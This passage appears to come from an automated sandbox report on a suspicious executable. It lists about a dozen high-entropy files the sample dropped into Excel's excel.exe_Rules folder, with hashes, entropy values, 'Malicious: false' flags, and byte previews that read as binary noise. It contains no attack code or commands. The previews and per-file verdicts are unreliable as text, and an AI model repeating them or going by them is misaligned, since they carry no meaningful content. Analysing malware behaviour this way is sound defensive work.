SHA-512:	102C64AA9854384AA18398915620ED158B431F7855E35B0F29DB6507FFD1770C1E77055481B9ACE4BB8E9BDACE6941E099D2F2B6019FD748AD09155C09B88295
Malicious:	false
Preview:	<?xmlh.5!...w.U..X..dt;..u.....G..d....y]....ZS.=k...Y!Y...d..M.....}p./SvJQ.b..K.C....%(R.........J`.d)q.)GA.H!....../.{v.NR....&.h..;?.e......e_S..qz..tr.F-..c..< '\1,}(..&......r..M..@.xI..q....e.......n.\.?..l$y....dA....V.....H.......G.+.3.q..8a..p....m4..../T...&x........Gm.P-.....).XAt...V...F...aU....N{.....=OW.~...W.zjh.}/@..Tdf..&....lf.....?j..F..o..A......(.O#.yv]........w......~R.^s...e./G...,.p..b.zW....se.......j..6..@$.dFhB.).f./x>.h.ujm.l..y6I....?...:1.z....I.F.[..9.9.<...a......+..1.m..Ix..A/y....L..73^.?.%%).13....>C........4.....&...9...@...!t....f.....m.L>.5..u..)...j....c.t./i0&).$...e.....)@...Z...`@JSMt.F.<.X.kt.............Y%P.o....au.=...6.n.7...O....l......3.p4....lk....N..(6..[V!B..}KPR%.. ........?...#........r3.g.QH.>/6..?.4..%oO%.~.}.........4.$...as@H..4..ok...[-?.\G-r.9..-Ff.[..ukWo....cQl.[r....z.yo..aZ&#u0..1H...Po[.z.9.N.!.T#z1........m00k.E8.....t...\...KC...~P.... .UN.WY....I.vxo.'.I.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701050v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1695
Entropy (8bit):	7.899517386784402
Encrypted:	false
SSDEEP:	24:GW76VENkVPw7h9FEgtoKQWx5RAIBfucTuQOqjsv3t0PHXST0i4mQJa9pbD:GtEe6hwAoKFGiuc+qov9ey4xGJD
MD5:	118DD55C28D53487EF4811DADE27FA01
SHA1:	8D901124A8AF35EB68BE8F069987FA55CE79858A
SHA-256:	D33B894BC5F7B5AE47A24228E3A0923A897D8AC11E44525F8F3BEE28DB69D66F
SHA-512:	455A138F860E55E8DD32A81D388F0EC09617192000B38D85D205208B21307A07D2438787F880B975685A622B05D291DCCBEA414F9B73E9D690065407739ED1EA
Malicious:	false
Preview:	<?xml..r+^Q..v..&...%&?..L........<.<Kg}....%.3.[G.a.B[!....@.n/..j6'..G..9.}%..3.gj.....x...F.H.?Y......M..q?..+.7.....I...-x.s..._6...A.Gw:...!.DqA{1.2..:)@SLa.%....S.B...k_.d.va.<.Y..^...J..bb...}).."..3..K....D.L..9r.V...p..oU.)"=.u.._.c.F.Y....,..YS&..5x..1.9..~h@.Jm.x.U.c..D.....X.1..E.d.........h.88v@T....f.67...3nA.ap.H......Z...(...h2.w.y_.....H.....>~_....j..7....#..X..&......v.....}..y........c..3........2.C.......t.;....M................n..#5.?.7.:Ik...EV#O......B;.Y...1..v..m/I..>........B.n.B......).s....5.B...6......).{U.r.CLX.......y.o.^..x.6..W...).....w...1"....+..4{..o.Z...9'...Ui.n.(........e..#.#.^.....^...@U.T.g..s..'.E..N.\.....V..,I.7{.....6Nn..2g.C....A._.};t)......@.y_0.=...1.......l..ijn-v.)>.I........S......./.&..G%E..=...2uj....d.9..:.P.b8L]..@$......Kc.%AV..W..*>...CS.}C3...Wu....H...e.XC... .o....D=4GU.....Q`%.?>.q..[..X..(R..Q)..;.G_....1.$.o}W_....l.u....8....P`......K.....@7.X.F...f'.nu.e...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701051v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1732
Entropy (8bit):	7.887648692765409
Encrypted:	false
SSDEEP:	48:o/5yO2IvJ7oO3QMlzZEGZhNpasXTuIEScaPG+dCiJD:SoDIh8Qd5Zh/hU/aPFD
MD5:	958230BB9F637E4F4EE3E031189827E7
SHA1:	CEE985A769E5806DC23B56128FFD53E0C846CE8D
SHA-256:	0431EB997AEA0D0C41E8F08D15382DD9AA1B5A795E68B69E8A6BFE029803C7C2
SHA-512:	6EEE1C8D0DAFE0B2528429486E37492A2F60E25A94F4425E420DAA6CF42BC6E30E4EA66C6C770982780BA01BB8F25DBF546426B12E0C87DA2010161B5C544C72
Malicious:	false
Preview:	<?xml\.E8....WT.....W.o;\.....8.j.f.A....?.;.zvhZ......R.N..Fzy.JH.@..R..+..R...s ...1..).......P..R.cV=..~z.;.L.,1...s......\_.Z...K..m.....F.........o..f..A..r..'.#,3=.?....m..Hy/..N.x...-<N.Z..bs$..!J........M.n..".....<A.+.y....!g.....Bcc.&.0....-s?...1.z.....S.!.p.x....2..^.3{..8..!+H....2.7....??L..jyS.....{...^.W...b..=3..4...r8.......x..~P.M....PG.r........j,6..........VB.V.mQb...R..........$........\|F3.../H....;..93..K..8.-..R.H5....v\|.....${..^.....B.e..+,...9.\|...9t,[{kv.<..H..u.....].wh.5.MF...fg.:.Ox.;`. 4.......9S..../.:...CB...........vK9{y..V.n...K..0...1T..jK....v.Uk.W.....{%........H..D#;_Hd.;.+....W&...i.......~.c.{.<O[.B..lT....H..........\VX...M..GH.%.c.E.W2M...&.....4.$.&..q...Z.+....@...K~^3#......Idy...Qjl....sE..\|g. ..@.Y..V.U...=...\|:.\|...?..3.]k2.......2..e`Ny..Q..w..?K{}.!.2.#..M.?+..<x............@..P>p...(...L..X..^b....v....u9!pQ_&.....Q7.......,@._1'.....h!J.F..%.i^............I..@.....K.+..).B?....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701100v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1707
Entropy (8bit):	7.875607349545677
Encrypted:	false
SSDEEP:	48:V2t2WnVK57c9Hz79uKk38vZQOabRD/6ENgg5Wi8lYJD:V2tX+c19gsBQOERD/6EOgUiR
MD5:	E78AE092FD8E947E359F545C7CA7828E
SHA1:	C7CBB8E72D5AD896D2013E1FEE116D36DA84ED9A
SHA-256:	EE95B9FCC32B4DC3124E2F2C8F869CA1073DE6EF0974E7F4E8A05131DF6A45A8
SHA-512:	DB17360796ED6098E633D8A0996F034DAF673DBE49AC4322EDE51E62E56A707C3570E56D014B4341424AE22D050890F6BCB48AEAC04892B40FF17B204D22C71C
Malicious:	false
Preview:	<?xml../..7..)..8....).@x^.5E.ky..q.<...d...@...`.%Q}........O...q...FI.e3..MP.u...y(d.E..6..j.9.Z..H.I.H..k.\|!WL..[..Q...T I7.=.!^..w..EJ.;..d.....S2..]H.;l........q.n..G....].....m.;..?.....T.J...I..A.............n=v....-.B...4...v.p.....R.[. ...x..].Q.q-R3.nRk...jc...,E.$J..1y-X..@F[....V\G!.$/.p.3...T..iU.w`.3...Z.\|.\|./...7.... .f..]..q{....s.&.....s9.Xkx/.C.~'sm..k.U..x.~.9.......;....._7."..n.'.1C.. .._.5......Vdl.Q...P]../`_\/.ogTn"..f..Q.~..].o...p....Cp.tP .yE...h..GJ....nA....T.....t[.v.tD..B....{9.g.....k..Zv.&.....h....<...?.'....0_.....V.a.@....=..M.....0..yq@..Y.a...l.../>....../5.7.....3...V.....r...uVBa$}....r...........L...DU...q..W.d#........VB.l.....W.V.h....~w_.....}.Wz.I..E?..g>..\..........fh.....^..&..{.'c...A... ..;&..&?.....\|..8.M..N.0x.....k.....ps(`.P.{.L...Y..<N.g...+.r..U......G....SI.9C...w.t.)v....R...e.....6.co..E{.yX......[D.}...+......d.<.'....}(.*`..2A.Z.lj.2P...6.zc.\....2Z;.m...I..TeV...Y..<B..G....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701101v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1744
Entropy (8bit):	7.888251872108008
Encrypted:	false
SSDEEP:	48:Z1mnlQ5u4JSfpxBWp73kqZEcmMJgojQX+AnHPJD:Z8W5uOSfZW1kIEFMWojjgp
MD5:	2C35B62A54AA7262F2CD42063A20A2E4
SHA1:	DFAE89E96D392C92C6B8F171E3B48C16B19E01C9
SHA-256:	BA3F280E4DC62E75E8610FA37AB0DA69D644F1F68E8B8816AF7EE27F0F613CF8
SHA-512:	E1022E04463C68518BCEEC596F1BA64817F391A9DF56EFD7CEA5505C935F106CBFABEC4BA924057DD432AF2D03139A2420489B00B4B4F75CF7F8A07C6B67F36C
Malicious:	false
Preview:	<?xml&b...+.0......F..u.IyT#.V...Z...-3...:%o.>R...+\|.....v.I...k0^c......{V..._.7.Nr%...5.@..1...K...p.\.....6...Q.p.1._J..>K....e.I..[m<..Qy<.)7.....r.c..7...AP..4e. k.V1l...5.;..y@..O~.{Ie.&,.D...Uk0.N.v7 .,N\Y....;..h.}3...?.W....D..:.$q9.R....[..b.S.Z...+.J......~..>.f.VT8...`....o....b..JB.......'.E..........L2.4}XYjxl.....xT1.<....I..0....#.. y.$."...pl..y..'.......)..[J(..].&.....5..]..V.c....q.O...Vq.............C.e......"jL.~}.r...h6.[....5..I....Ob..TPW5...[ne...F.cJL.....!.P...J<E.q.g.9L..Yu.Z..N...s../V..Y....Z...w1S.<Z..+.W_...t....H...bE.\.7i..Ur.....J..FY.......{.\..MJ..@."PxF...d..i.Hx..^..x).41...@...xi.t..s.V.d3G3.n..cx.......)\i.':.u..xCd..&.Bw..h...)..`.w..r.....wS.S....W....i......@fYX4......i...N...aQ.*.p....j...2.....f...@i`P..H...(.)..S..........=.?.a..gQ.t....'I.Ae.5......~N.0...t.dTFC.)g......@.WT.J.".D.G.(...ZJ..}k.G...=s.H.,...F...w,8...5DX\|{....{'.F.t8I\|>gw!.y..d,.)j..{.C.......5........&'...o.$.\|{...6.k..Q".f

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701150v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1697
Entropy (8bit):	7.862975060976933
Encrypted:	false
SSDEEP:	48:9wXtLxXnAIBRsyIXcuhu2XQjceUBge6a4DJD:9wXII0yIX/wiQh/ak
MD5:	FF31EA4825844216287AB872625EB343
SHA1:	8E481425DFFA0E6AAACAC3CC4B21F2F03C928DEF
SHA-256:	B16A6FFF7CC19F26C52BB5EF26D7FEDD7125CA7C29F1B18083F5EB2AD7834CD2
SHA-512:	BC40D85F7B4443621AF44211E2C00D3E7B0E8A4F111F1B51124AC9D04D370E30BBD1FF1226113244636490D7248953672C968D27674FF18971F840DF40CF89A8
Malicious:	false
Preview:	<?xml....G;tS......`..$_....>.+..;G.,.t.R../..;#..."Y0...X.Y..d.uS.A.H.:.....}..T(.n..D.B..I....r.S.u..o.....v....?`..&.R.C.~...s6Dm..."w...,...b.....P}y.8..gHy.....P.....u].!.<...fzU.73....r)......Z].".....M$.....Y.fU/..I2@.......XG..........c'=.I.V.KW.H.......9.yc.U.6.8...?..h..F.C.........>..y6.h...2..v..I.n.=.JD.Y.DW.H\T.rm....t..p..7H...f.t.d.m...\|.E6..hjni.fi.Y...9.....Q..].f.....V.V.RjU,...\...X.=...U..A.j.....[Zg5}.N......X.py+..J.Q...F.,....L...Y`.).Sp.....9}@...p.6...Z....J{.F....s.c8.aq..!...O.[-.v....2.W,T..D..1..t....Jp.n..=....".y....Rv.Q.....b.+g[6B.cjq...P_..Jq.E..o....".........Y.Yu..A.?....X`.....W...#.......E..a..2$.d..`..U.r.\...y.0./d\|...q.%...%.a.V3.)..;.....1]..../!.b[.gQ`.....Y...;/}(..].....;...c...".:c.Y..q..T..7xW.(c.^.L]..A.a.6 -$<5Z..W...)..t.k "m....[..y^.rY..w......~...N.y....$i.\.:J..n....Vc..t...h.....~X..Bt..Jt...y....2nd.%R....VG.........9.j!..Y..].D..u..u.O......b...S.............vPE.V?`.*...Z5

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701151v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1734
Entropy (8bit):	7.870372547519716
Encrypted:	false
SSDEEP:	48:q8OseGN4tMVfEiK6sXl2IyWmK5UwOow727A204E9j0HJD:q8O3GNCofqXlak5m7cr04/
MD5:	F575500C657AA768A47EF0D482FFBB75
SHA1:	9E5F8301041B734276A3E9E950657D1D4CA0124C
SHA-256:	72898D6170FC34174801FB8A872CC148DEF5897D733A0A38C44CC39855789F8D
SHA-512:	93112FF27EF9D003C93AD46B0061F3CC22520A806F7BF044A2B510AEE51C8AC72E0336692AD5F5C03C2C0FC7F6F765E9D662CA47797D2E74FDAEBADF9F0E7F04
Malicious:	false
Preview:	<?xml.U..].yx...".P.....4.w{../.<...j..J..:..S.n..:RpEi."...(....{.tZ.d..Q(].....b .v..Ai....}.%....$.O.L....K.].i....r....[_7....._jO.K.....o5....s.Y6..?..I.9+..h"...I.EC..B....s.R.$[..$t.....~d.F.Z.....DS..fx.VH.~...[1\|.........k.^"..0...>.........dF!.l6.<DB...CN.R....K.!_..l'."..).......2l....I......q.........%......&+..6..ZL.iH5....U....b..?....5.....`.'....0...o.2K.p.n;.k".;.N..c.K;.A...3..d.>dnd.]..` .]D..@.E....7.cM..P....q..?..p.....m.7.;.<..3u...z.5......){:...u.........T.2.]mr.......bm......Bz.9.5...c.."?W.P........2....VZO.......P.H.....{.....gW".....+N...^..&21z.4..(p.TX3...................Jf..kp.q..N..n...1..y.Z ...n8...v..4E..)...J.C......M2."....\..^h3.."c@.:......-...iv...bj.]q..o:;&......6.?..A........f9.!..S:...d...9C.....v..Z w...7....A...G......N\|qF.~...JSm..).F..i...Lx.Z2.....f.Z.F.%.:.E.Q#k:.x.8)@.........a..h...txd0.~..11.6....3.!...Rh.gkW........F...gYl@\|......p..6....>..z....5..E.].T.......+..s...q.{v

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701200v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1689
Entropy (8bit):	7.881136070481467
Encrypted:	false
SSDEEP:	48:bdtzvAhd1ytITd1EbFn3IkqC4z1mQJrgmZt6iJD:jzgytITbEbFn3SC8ZftZ
MD5:	478F1A21204F52B703267CD233D9217A
SHA1:	B292915E2D15A9FB00AF825CB9C462A5CCD68267
SHA-256:	3CF16276D6EA94A08AE56E3FC272227FB37DA29576E8D2B7F9C6EAAC2AC702B5
SHA-512:	69FED592C3310F8A87326079119935ABAE6682F0F6DEE898DF3225A2062BDAF920DFDDF4D69F6E1B91C9AE72F0A13F389A5F59F88B6856BC795D1D29B1184224
Malicious:	false
Preview:	<?xml.....5yW.YD7..d.j....'.Wtn.+............<.H....^...........X.V..(..rs.........]..{c..l...:Ln..X.2(.....wb....'.. z$./N.EgZ..'E.]......).($8...w$....93`..3....z#...W&.)h..0.z.0_...VW~'+.&c..M....>S..cj...(.~..L ...+..`r.T..O6...,....j}.,A...CK4l .`R"%..]..s#..B...`p..!1......a.B........E.'..X.....]7.s.^QjA.'..Z.{.....w"h..g.l.{^.W./.l.D.4.:...`..c.\|3.#^.=.Y..Q....r.......s;k..-pnv..&ie...U...0..2.ew\|"i....P....\..&.H!n..b...r\|./...M.L.7..._.H...p..Z.S......"CI.W..Mhk.x....A...=t...Ih.....0@Sx...U.....R.....[)Q....^o..Nrj.[.3;..=...<0B..r....`y...6I6..X.T...#..e.Z'xY....+`.......)....B...I..k..,....[..C.....l.....5.....1..t..m....E....1..$..F..^.O..K. .D.......7..).x....s.7^g.v.....L....;z.....:i.Q....\..@....9.k.j.].....*5Pv.....Q...Y.&.E.."..#p.h.C.....)].......p.......+.....G......5Xj{{R....5U%..c...- o..$...9..<..<NK.:>L......X.{..6..g....[...`.N..W...k.6.h....].b=.......k.....aS.."....... .\|/.......?U.1.....8u.:zB.6H_..A.....6.)4

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701201v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1726
Entropy (8bit):	7.895212231226046
Encrypted:	false
SSDEEP:	48:KKiPmU1MwBep1LlRWtibLzbT995ioHbPbYJD:4uU1pB01pRJbLz3woHLe
MD5:	ABC65AE6559B5D94426C567F28BFFBBE
SHA1:	319150DA8A6FC01CA74B645D42DB3DF4A980E7F5
SHA-256:	521DD3F3432B5F16132665B691F669CC83B1761D583762158C16E9669C48163E
SHA-512:	E8B1BF7FE099CB410C85D6AE97A7B1CDDD83CF13D3826FD3B51DD2066903E8257A3478837623D2D5CBE4608BBDD208E76F4F1387C37C4E85A72CBF15AD7FC54D
Malicious:	false
Preview:	<?xml....iW..'....q@KUl".....D'.bqG.,qG.y.^.,.A...0.n.Q..7E4D....-nwD..6.....i.O]i...Z..+.#........T.!c.-!.Z..iF<..u.h....5.B.f{.CR....a.....<./.'`x......@.x....8.B.\|.w\.9..........`.._.O....^......\.....q ... .kGr.....^....E.....Uh..'..$....>....k.He.pL...Y$.........s....%.......Y.]>...).*.u?.,.xf.D..d.....jC..X.s....n...l/.......,.H6.W.J..lT.{..M......B...>.._.;q..i;C.(...H..66C..@...............d(......t.\...Ym.Q..h@#...ri..Kr....o.....-F.M....m...B..fw.WE.;`.........M......>/.4.....v..........&...{.6.2...i..\....&.@.b.D;..'.....`.5.`......V..=2T..W.rd.I.;Zc.....iiP.....)....<.......N.N.o..x..b.h@..a...'...}}m...K.....3...s......{.).t.r....QAU..p..)....[{......_.A...........fs....H8e...O.P]Y.a..1....#....+.r.=.........h..~..TX.14........2..<.Q\.[..{_...m_..%.~...0...;.....>.....l....bs...gn"N.....(...B"..k..Mb...hj.GD:...............zL..l:\y.b\.....m.%.6.~............w.2..I..9y.\|5rrv.q.V...->S..#.y....h.....;..e.t.\|..$S.e.{H.../K.o...^#z

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701250v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1691
Entropy (8bit):	7.887263804128363
Encrypted:	false
SSDEEP:	24:stASQBgJXxck6wN2wEiHlDDxBcck+aO6h2GE1KQW8NlpX5uilgw75aZe8RXofl9h:sOOtb2aFfxRan20aN5HzIHRXo3JD
MD5:	85264A2F379D996D1D3210302AB83EFB
SHA1:	DE50F52E523DE651FF80116B13407BCE75BBC993
SHA-256:	8016FCE4CA793312463964C2AA23BF008E4B45954C9B80C7EE68E71A265BF3F0
SHA-512:	F282C25845E0AC0FD68A6656C0F1F14686BEF828359FF52DF1A0AA8A5F61C93AD8FC924E9F30BF9F0CFE1F30350DF19C55B2F86F671852B7D92E742DD3D57209
Malicious:	false
Preview:	<?xml.\|J.$.P.......{...X.S../..s.F..aWHg.E.}.x..^.tjnEna..).a..I..~./..y.h..]z.O....`..^...($......7.....y.......`..=..)(.=.u....w....g..Y....v0.3..3..f...,..a..nm...i.m.....Q.O....o"....[/wT..f....q..~3].Z....&...Ha.`...P}..j.k..$)..y)a..z.....<....N.?...l.59."..F .d]..p......\|...cz."..\|.R..d.......T.9..9[.~t.&.,/..dSB.b.m.x,;'M...Db-..(..a...:....I{}_I@.m%.[...hj..L.@..(.[C.M....!...\|.2.b..ib.c.. 5T....6........nX.H....].....(.ln.D(^.O.....6..u.9....q8.K.<.<.....PB.y....Att.hGy.n...UxV.O.....h....f....VlA@..f....~p...F.KP4.d...Ia.>..d...e.........CT.q.t.Y........O......D..X....;.x...G.IfT.....X..Q)h.ks.m.......t=...\.W?... .*.H..R..tV......T.._..zx'.n."n..f.`..r%..~......r.X#..(...i.r...8!.K2..Xm6..K.....k}8k...Jm{.j..../....tS..."...K...$.H..-;)3 PWY.h.#c...T....fC..k..u.2%.4...$^..9+..M...Y;..DX;,\..z......u.Z.P.....K....r...L...e...\..z.$....:...Z.....s..w.?~..++....I...D.k[.t...3..MR.Sc.nW{z....P..z....&..o..G.:..`.$..2qNe%.FJ...+X.Vo[2.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701251v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1728
Entropy (8bit):	7.891094206767144
Encrypted:	false
SSDEEP:	48:Ky4pZtBFxn5mAm0fvSmzDqozP6Y0X/ZvHqJD:KJnFxn5TKo763Bs
MD5:	4FF23082F7F4D17DF17C6D9688BB3C2A
SHA1:	61A31AD6DDDE0D3C578F5BA902C8EE55C2764DC2
SHA-256:	C69B93E23CFD01DDEAD98D33C23FD92C6FA7377777F5BABF872733C92666DCE7
SHA-512:	E392C8CFDE212D3FCA6F2F3F86549B1FD1A66DAE3EA34AF28006A0BC1886FF6865301D7A9999460B672F96AD8D556353D2E21F585E7ACCEE86A6A5E4E7ED1F73
Malicious:	false
Preview:	<?xml...l..[.A5!.f..LA..Y)..D.{.3.....-..'u......c).3V~@.8.da..fu.K......t.)........G.L..Z.....K.j..V.F..1d..u..v..q"..lT......:.o.%...ej`P...K..g.,T....f.[......s0......dw...i.9....3..\L...U... ..j....g.p.......R.u8;Q.O%L.W........`MEV.p...&.lQ.....+.....<.,.,...~...KC.k.E..3..(0%j)d...t.g.=\...y....f..A..& je...zd.n5.....s...K..f1%<..J.._..sR....`..U.~..1g7......x.p1.2J..[4.d.1..+m...?..SZ.T..}.....f..@.....p..x..+:8..4........./...........7x.U..EK.8.1a.... J..).juj....[R....\t..J\Q.H6.....pW....z.&..F....9..x..............d.5.=H...4...C...bl.94.-.v.e.6...@...u.07.`.H~..j_......^J..e1$..L..sO..l0..4.7X/a....@Y......s..N.s..;....S..P.S8{q.7..iy........6../.-]..g..d.Rd,m..>r.C.-.m.x.. 3.<.8.......+]..6`.].....,..1%V.2cd..Vn.;.5'...`......WK...L.,.zY/Y_.\....}Q.......<j.m.../@.].{...{O.....7....;K...X..ma;K8.\u-..2Y.%...QF.L.+~<Ci[.>.4...@.S.Q..H...%...N.....m..H.....=..m.....7...A."./.......hH...yP..>(vr+.R........(

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701300v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1699
Entropy (8bit):	7.881555491429016
Encrypted:	false
SSDEEP:	48:m+nciKzbNEBtq/BsLS91yxS4/AW4v4hEFRJD:mHzbNQ2BsLSzIlnhIj
MD5:	9265B9F6579A2215D92624A779745F90
SHA1:	64BD465179A0EE4D9CC893BA37A5E6329910532E
SHA-256:	3C414D1380D041ED5C90F3E111310D94A36C80B1D8BECB5698A75A279946E1AF
SHA-512:	CB79A5ABC4E85A939859C74044099D7D512FC7E95838838D1FA8B4FAE956D82C113FA1CF42E42B1F9D773D9DDAD590D73F6FF174A6101DAC5A313C07DFB9A9E6
Malicious:	false
Preview:	<?xml..l.7......6;...h.SGRQD~ .U"r.[.!.=...\|...R..c..X..+..3l[.Y..g.-.@k....=...(..>.P....87..,.-...q..Z..uO^.&...........Z.P`......yp5.....n.......y..Sk.p...../..w.f8.V....hYw.w...C_....J@...7...}...eSs.e....e......q".........U."...Q..,.G.".y.[..9.H\|k..^...S.U..[Y.U.i...a.j"c.!.cg.hj.c.d+^..Y.....\</h.u.a.g..."...p$imH......w.i.B.F.Y:.$?.V$.....g?6...T.H.h.Z..l.$.E#M...v8rU...n.p....M9A...\|d<.}...1..>.z..[.%^s.......gY).a[.........W^n......i6[.....0V..:5..K.e......Z]!=...e...x..>.~1.`GL.y..3%/..Nx...czl..,cu.j.....g.X......=D..3>.)..........l<'.........(.y....B&.[...h,.m7M...k......v...\|.i...E...c>....]..C..BU....%..i+~.....h.xM.......L..R.l7..bv..o....I.8...Md..a/(!P.^."..UGw.oFd-\...m.'W,..I.4.=....X..@).0.. .%.2Y.....exI...u>.7./..0P4I....YW...I,...a.?.}Rh.\|8....k.......v...u}....F....U.A..F.8<3.I.C.m..KEW.}.'P7.s....E0..bD._..aWM.{<>.c.....hi.h..1b.@.....cl.=.r....Wb..!..op.m....-..OV...O...........]g......n..R (.G....t.!.....$.Z...Ss

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701301v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1736
Entropy (8bit):	7.8778666604818275
Encrypted:	false
SSDEEP:	48:p9lhjcv+kO4kzeqQxV8/U8z2EYC+ENiccgv/Cl5DtQzgS+aJD:nlSv+pz7EV8PipiNiS/CHtnS+8
MD5:	B821494FE1B1DDB327D238AB5F9221AD
SHA1:	C0F10A197B6DB084F9759A6F7B0A4DE1DA07C4EB
SHA-256:	CFDC5FF6507D891941145C309C03BBF9ED48A176EB64A25530E671912914D345
SHA-512:	BC1532ACFA984A7561C8EC174038662C0861CB287E64D75B7D1E5E75077FBFEE74711A7145130CE5B6D49B2DEB20B5DB06E0B824CD7D557D71505ECCEC0F3F38
Malicious:	false
Preview:	<?xml...v....&^..4"..@...:.....gpe.'...o..i.y=...d..u.L......W.......[U.Xa.'.\=..{......+.=.K]UQ..\|C....r.n[.[mQ.x.+:x.V.....(...t..}'.8+.D%..!.Z...u...as.(._n.@...^...q..m.n..O ..&1q....Q.....A...B..R9I.....c.>.b.....H...~[W....U....}..^X..eNC....6^..a.8....F...."....0..3..0..;.m.j.Q....HH3.....A.....Pk..]...T..+..78.O....o.8W6..mC..=..~.6..q......G..W.\|Y.r..w...Z..X......\. ...=.nO:SU.s..y..l.$`.A..:..Q.......R:.,(t..u.A2U.3......dC6....e....b..at.2.0..-SM06....o.!......!...$..k.7f...-...]...Y.~g".~....Kc)(...s.1{..B.../U...u.A.7.....L./[...o.'...T.,>q.B.d..S[U...B.....T..e...tx.j..2...M....2$.l1..).A........S.-!...7.-Z.A[..{.D.Rl:.#5H..p.^.C)ih.......%t..=...Z9..[......pJ.........Y.Xp..O...3.O..k.<..;.95.xch.8.)..... ..E.!..cb...z..w...;.$.3..B.O]R.Y.........W........-..>......C[... T-/.....!...T6..!,5,.@.cJ....2v..uLnk..\8.O.c..Y.>.rIv..\|..\...9.....,H...e..p...9A.G...y....h..N..lq./{...{....km..~.<$..H.gv"MC..&..E.bU./nI<...C...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701350v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1703
Entropy (8bit):	7.895423936108164
Encrypted:	false
SSDEEP:	48:xyoM5DnQWetD1jij6kt2cNdafRvTjUTSuiJD:6DQW2IjNLSZ4ud
MD5:	54E70087B5572368042F5A9DE83EC8D5
SHA1:	816865F2E31DB01D866905F67530EE95A87ED4CD
SHA-256:	ADBF9489A08DAE92625CEE60D54BF22A4877F84185104A81CF8B3225988A28C6
SHA-512:	A3B1A278D209C72745501F04695FE70ADCA18592D800483080A301B866FB1474BDBFA42C00FCF29E5B0F83DA07FC6DA6BD17062ED9438E451D011BB4CE5607DF
Malicious:	false
Preview:	<?xml...+........xw8^.x..q....1...h.a0...I....F...Ux..S...lC.4.=..h<...N5+...R..-.z.......A..Z....a.}nM.......>HXj..a\|.} .Bv.J,<.u.......q..Y;.....kr..!.u.,..3.T...MjSfP..kA9..c...9..M.......zA..t....."..SJF[B..Yk.81.....7....1Y.4X...tx..C.X.?...\..)..a.F.U..dLu.f/.....q.M.9=.L.."P[=g.].....F+~........C..?...............k..Ul...b...S..B.x%.;.".h..jT#1^.1N..s.KhN.].Im..YhX.).}O..U...+.].My6.F.?..:....C.-.....^g..9L,.Tj.\|..I_....8.4V...K/.q.f-......S.....4....?....C..h..=.r.Dn..,:.u82D._.z.Sd.s....mn..K3(h...u.Qpy.g..d.G...R.'...n.y.K.7..W.V.....Z....$ >...-..}_.5.B'.n.*.b.J.(.G.J.PZ...... ._.....1...1........N.0...Kb..ptC9....a..\|.>...V..........d.. ....X{..K...tb.4..x....C....K.V...a....z.^z...^..........~../.........a...D....=$..X..]2....p.J@.r...z./....qb........IV..j..S..6........+.].z.}.j.GEP.<.]..t.!."...w8g.i.s..w.......YN..Y..p....'..$.XDU......:.5._..P.2.2.INZ......L`)....Y."u.....#...j.........5......5:..i....M

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701351v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1740
Entropy (8bit):	7.8870670100180265
Encrypted:	false
SSDEEP:	48:6iGf1tFODfaXr1OG1p+BV3+7ZSWAVqjbMJD:6xfvAfaXrYGaBVAZSOa
MD5:	E79E220C8EF1F7CBBE5D2437D47C804A
SHA1:	58A2BBF3C89192275CB49A1406200349E6D6D790
SHA-256:	839207E9E5A3D4455F3684651B780B5DC41998A4F782B2A5A114D41D412A8EC8
SHA-512:	F4E5A6B74016E42206647376A96D9C59A8A893B26210FE02EB956CC8A178C828461DBF55378A7884D64A232A25F09F79AF8F3EFDE52A01DADBD19E6DACE08F3A
Malicious:	false
